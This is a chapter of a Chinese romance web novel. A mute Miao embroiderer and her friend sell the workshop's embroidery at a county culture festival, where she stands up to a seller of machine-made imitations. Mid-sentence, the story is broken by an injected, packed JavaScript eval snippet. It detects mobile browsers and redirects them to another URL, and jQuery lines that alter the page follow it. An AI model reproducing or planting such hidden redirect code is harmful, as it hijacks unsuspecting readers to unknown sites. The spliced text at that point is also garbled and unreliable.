县里的通知是村长拿来的。
一张红头文件，盖着文旅局的章，说要在国庆期间办“碧霞县首届乡村旅游文化节”，设手工艺品展销区，本地非遗传承人可以申请免费摊位。
“机会难得。”村长把文件拍在石远家老屋的桌上，“全县就二十个免费名额，我厚着老脸给你们工坊争了一个。”
石远仔细看文件，心头一跳。展销地点在县文化广场，时间三天，预计客流上万。如果能抓住这个机会……
“谢谢姑父！”他真心实意地道谢，“我们一定好好准备。”
村长摆摆手，看了眼屋里挂着的那些绣品，语气软下来：“阿雅那些花样，确实好看。带出去让县里人也瞧瞧，咱们云渺寨不是只有穷山沟。”
消息传到工坊，绣娘们都很兴奋。王阿婆念叨着要绣个新围裙，吴婶说要把压箱底的银饰拿出来擦亮，小禾更是直接开始列展品清单。
只有阿雅，听到消息后低着头，手里针线不停，却绣错了两处地方。
“阿雅姐，你得去啊。”小禾拉着她的手，“你的作品你最懂，别人介绍不明白。”
阿雅摇头，比划：我不去人多的地方。
“可是……”小禾还要劝，石远使了个眼色。
等绣娘们都散了，石远才走到阿雅身边。她正低头拆那两针绣错的线，动作很轻，像在对待什么易碎的东西。
“阿雅，”石远蹲下身，与她平视，“记得你绣的《远山》吗？”
阿雅手顿了顿。
“那幅绣品里，山一层叠着一层，最近的最清晰，越远的越朦胧。”石远慢慢说，“但你用了渐变线，让远山和近山连成了一体。”
他顿了顿：“你现在就像站在最近的山头上。工坊、寨子、我们这些人，都是你看得清的近处。但山外还有山，县里、省城，甚至更远的地方。那些远山是什么样子，你得自己去看看。”
阿雅抬起眼，眸子里有挣扎。
“你的绣品需要故事。”石远继续说，“机器绣的也能有花样，但你的针线里有玉带河的水声，有后山瀑布的水雾，有云渺寨晨起时的炊烟。这些，只有你能说清楚。”
他说“说”字时特意放轻了声音。阿雅睫毛颤了颤。
半晌，她比划：我不会说话。
“那就写，就画，就用手指。”石远从包里掏出一个小本子和一支笔，“需要说什么，我帮你。”
阿雅看着那本子，封面上印着浅浅的云纹。她想起这些日子，石远一次次把新东西带到她面前：色卡、杂志、设计图册……每一样都小心翼翼，像是怕惊飞停驻的蝴蝶。
终于，她接过本子，轻轻点头。
去县城的前一晚，工坊里灯火通明。
要带的展品铺了一地：阿雅的《云岫叠翠》系列绣片、新设计的电脑包和手机包、小禾监工的蓝染茶席和围巾、阿木精挑的野山菌和蜂蜜、王阿婆赶工出来的十二生肖香囊……
“这个《远山》一定要带。”石远指着那幅灰蓝色调的绣品，“这是咱们的镇店之宝。”
阿雅却摇头，从自己带来的布包里取出另一幅绣品——尺寸比《远山》小些，但针法更繁复。深青底布上，用银线、黛蓝、月白三种丝线绣出风雨廊桥的夜景，桥下河水泛着细碎的波光，桥头一盏灯笼晕开暖黄的光晕。
最绝的是，她用了特殊的针法，让绣面在不同光线下呈现不同效果：正面看是夜景，侧光时却能看见隐约的桥柱雕花。
“这是……”小禾凑近了看，“廊桥？咱们寨子的风雨廊桥？”
阿雅点头，在本子上写：“这几个月，常去那里。”
石远心头一震。他想起那些送阿雅回家的夜晚，两人一前一后走过廊桥，月光洒在河面上。阿雅不曾回头，却把一切都看在了眼里，绣进了针线。
“就叫《廊桥月夜》吧。”他轻声说，“这幅一定要放在最显眼的位置。”
第二天天没亮，阿亮开着他那辆破旧的小货车，载着展品和三人出发了。小禾坐副驾驶，石远和阿雅挤在后排，中间隔着装展品的纸箱。
山路颠簸，阿雅一直看着窗外。这是她二十八年来第一次离开云渺寨。晨曦中的山峦一层层退去，熟悉的景色渐渐陌生，她的手无意识地攥紧了衣角。
石远看见了，从包里掏出水壶递过去：“喝点水，还有一个小时才到县城。”
阿雅接过，指尖不小心碰到他的。两人都微微一僵。
小禾从前排回头，笑嘻嘻地说：“阿雅姐，你别紧张。县里人也是两个眼睛一个鼻子，没什么可怕的。要是有人问东问西你不乐意理，就让我来应付！”
阿雅弯了弯嘴角，点点头。
到文化广场时，已经八点多。广场上彩旗飘飘，各个乡镇的摊位正在布置。卖竹编的、卖土陶的、卖米酒的、卖腊肉的……吆喝声、讨价还价声、音响试音的嘈杂声混成一片。
阿雅下车时明显瑟缩了一下。太多人了，太多声音了，像潮水一样涌来。
石远不动声色地站到她身侧，挡住一部分人流：“咱们的摊位在非遗区，那边清静些。”
果然，非遗区的摊位整齐很多，人也少些。隔壁是侗族大歌的展示台，再过去是土家族西兰卡普的展位。云渺寨的摊位上挂着一块简单的牌子：“云渺手工——苗族刺绣与山野好物”。
布置摊位时，阿雅渐渐平静下来。她把绣品一件件挂起，调整角度，让光线能照出最好的效果。那幅《廊桥月夜》挂在正中央，下面放了一盏小射灯。
九点，文化节正式开幕。领导讲话、锣鼓喧天、歌舞表演，广场上人越来越多。
一开始，云渺寨的摊位前冷冷清清。偶尔有人路过，瞥一眼就走——苗绣在县里不算稀罕物，每个寨子都有。
转折发生在十点左右。
一个戴眼镜的中年女人在《廊桥月夜》前停住了脚步。她看了很久，蹲下身，从不同角度观察绣面光影的变化。
“这幅卖吗？”她问。
石远正要答话，阿雅轻轻碰了碰他的胳膊，递过本子，上面写着：“请告诉她，廊桥有百年历史，榫卯结构，不用一颗钉子。”
石远照说了。
女人很感兴趣：“你是绣娘？”
阿雅点头，又在本子上写：“我从小在桥边长大。”
“所以你把桥的魂绣出来了。”女人感慨，“这光影处理得太妙了，是用几种针法交替？”
这话问到专业处，阿雅眼睛亮了。她拿过本子，快速画起针法示意图：平针铺底，乱针造光影，捻金线勾轮廓……
女人看得入神，干脆拉过小凳子坐下：“你这是跟谁学的？”
“我外婆。”阿雅写，“但她只教传统花样。这些光影，是我自己琢磨的。”
两人一个写一个说，竟然聊了小半个时辰。女人最后买下了《廊桥月夜》，价格没还，还留下了名片——她是省师范大学美术系的老师，姓陈。
“你这学生有天分。”陈老师对石远说，“有机会应该去系统的学学设计，别埋没了。”
陈老师走后，摊位上渐渐热闹起来。有人是被《廊桥月夜》吸引来的，有人喜欢电脑包的现代设计，有人对野山菌感兴趣。小禾嘴甜，阿雅认真，石远补充背景故事，三人配合竟意外默契。
中午最忙的时候，来了几个不速之客。
是邻县一个旅游公司的采购员，带着几个明显是机绣的“苗绣”产品，花样和云渺工坊的有七八分像，但针脚粗糙，颜色艳俗。
“老板，看看咱们的货。”领头的是个秃顶男人，把一本样品册拍在摊位上，“你们那种绣片，我们这都有，价钱便宜一半。”
小禾脸色变了，阿雅抿紧了唇。
石远拿起样品册翻了翻，笑了：“刘经理是吧？你们这蝴蝶翅膀的针法不对，传统苗绣这里要用套针，你们这是平针拉过去的，线都松了。”
刘经理一愣。
“还有这个云纹，方向绣反了。苗绣讲究‘云从龙’，云头要朝上，你们这朝下，不吉利。”石远把册子递回去，“便宜有便宜的道理。不过我们工坊做的是非遗传承，不是流水线货。”
围观的人渐渐多起来。有人拿起两边的绣品对比，高下立判。
刘经理脸上挂不住，嘴硬道：“什么非遗不非遗的，游客又不懂！买回去就是图个好看！”
“我懂。”
声音很轻，但清晰。
所有人都愣住了——包括
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846708|191383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石远。
阿雅站了起来，手里举着那个写满字的本子。她脸色苍白，但背挺得很直，手指用力按在纸页上，一字一顿地指给大家看：
“我是苗族刺绣非遗传承人。我外婆的刺绣，曾进京展出。”
她翻过一页，继续指：
“这些花样，不是随便画的。蝴蝶是祖先的魂，云是山的呼吸，水波纹是玉带河的歌。”
又翻一页：
“机器一天能绣一百朵花，我绣一朵要三天。但这朵花里有我的早晨、中午、夜晚，有下雨时的潮湿，有出太阳时的暖。”
她的手在抖，但没停：
“你们可以仿样子，但仿不了这些。”
广场上忽然安静了。隔壁侗族大歌的音响不知何时停了，所有人都看向这个不会说话却用文字呐喊的绣娘。
刘经理张了张嘴，没发出声音，灰溜溜地走了。
人群沉默了几秒，然后爆发出掌声。
一个老太太抹着眼睛说：“姑娘，给我来一幅，就那个廊桥的！我闺女嫁到外地去了，她说想家……”
“我要那个电脑包！”
“山菌给我留两斤！”
摊位前瞬间排起了队。
阿雅坐回凳子上，整个人像虚脱了一样。小禾红着眼眶抱住她：“阿雅姐，你太棒了……”
石远站在一旁，看着阿雅低垂的侧脸，胸口涌起一股滚烫的情绪——是骄傲，是心疼，是某种他不敢深究的悸动。
他倒了杯温水，轻轻放在阿雅手边。
阿雅抬起眼看他。她的眼眶是红的，但眼睛很亮，像雨后的天空。
她拿过本子，慢慢写：
“原来山外的山，是这样的。”
石远接过笔，在下面写：
“你比山外的山，更好看。”
写完就后悔了——太轻浮，太直白。
但阿雅看着那行字，没有生气，也没有害羞。她只是静静地看着，然后极轻、极轻地，弯起了嘴角。
那是石远见过她最明朗的笑容。
像云破月出，像冰消雪融。
像廊桥上的那盏灯笼，终于等到了该照亮的人。
下午，摊位上的东西卖掉了七成。《廊桥月夜》被陈老师买走后，又有人预订了三幅类似题材的。阿雅带来的小本子写满了字，都是和客人的交流记录——有人问针法，有人问寓意，有人只是想听听苗寨的故事。
收摊时，小禾数着现金眉开眼笑：“两千八百块！还不算预订的！”
阿亮来接他们，听到数字吓了一跳：“这么多？”
“多亏阿雅姐。”小禾挽着阿雅的胳膊，“阿雅姐今天可威风了！”
阿雅摇头，在本子上写：“是大家的功劳。”
回程的车上，阿雅依然看着窗外。但这一次，她的眼神不再惶恐，而是平静的、观察的。夕阳把山峦染成金红色，她看得专注，手指在膝上无意识地模拟着针线走向。
石远坐在她身边，能闻到她身上淡淡的、混合了丝线和草木清香的气息。他想说些什么，又觉得什么都不必说。
有些东西，就像阿雅绣品里的光影——不必言明，但在那里，真实存在。
车到寨口时，天已擦黑。廊桥上的灯笼亮了起来，暖黄的光晕开在暮色里。
阿雅下车，站在桥头看了一会儿。然后她回头，对石远比了一个手势——双手虚握，从心口缓缓展开，像花开，像鸟飞。
那是苗语里“谢谢”的意思，也是最郑重的感谢。
石远站在货车旁，看着她的身影走进灯笼的光里，走进桥那头的夜色中。
他知道，有些东西从今天起不一样了。
阿雅走出了寨子，也走出了自己筑了二十八年的壳。而他，站在原地看着她飞出去，既欣慰，又生出一种更深的不安——
飞出壳的蝴蝶，还会回来吗？
“远哥，发什么呆呢？”阿亮拍他肩膀，“回去了，小禾说要做酸汤鱼庆祝！”
石远回过神，笑了笑：“走。”
灯笼的光在身后渐远，但阿雅那个笑容，却在他心里越来越清晰。
像一颗投入深潭的石子，涟漪一圈圈荡开，不知何时才能平息。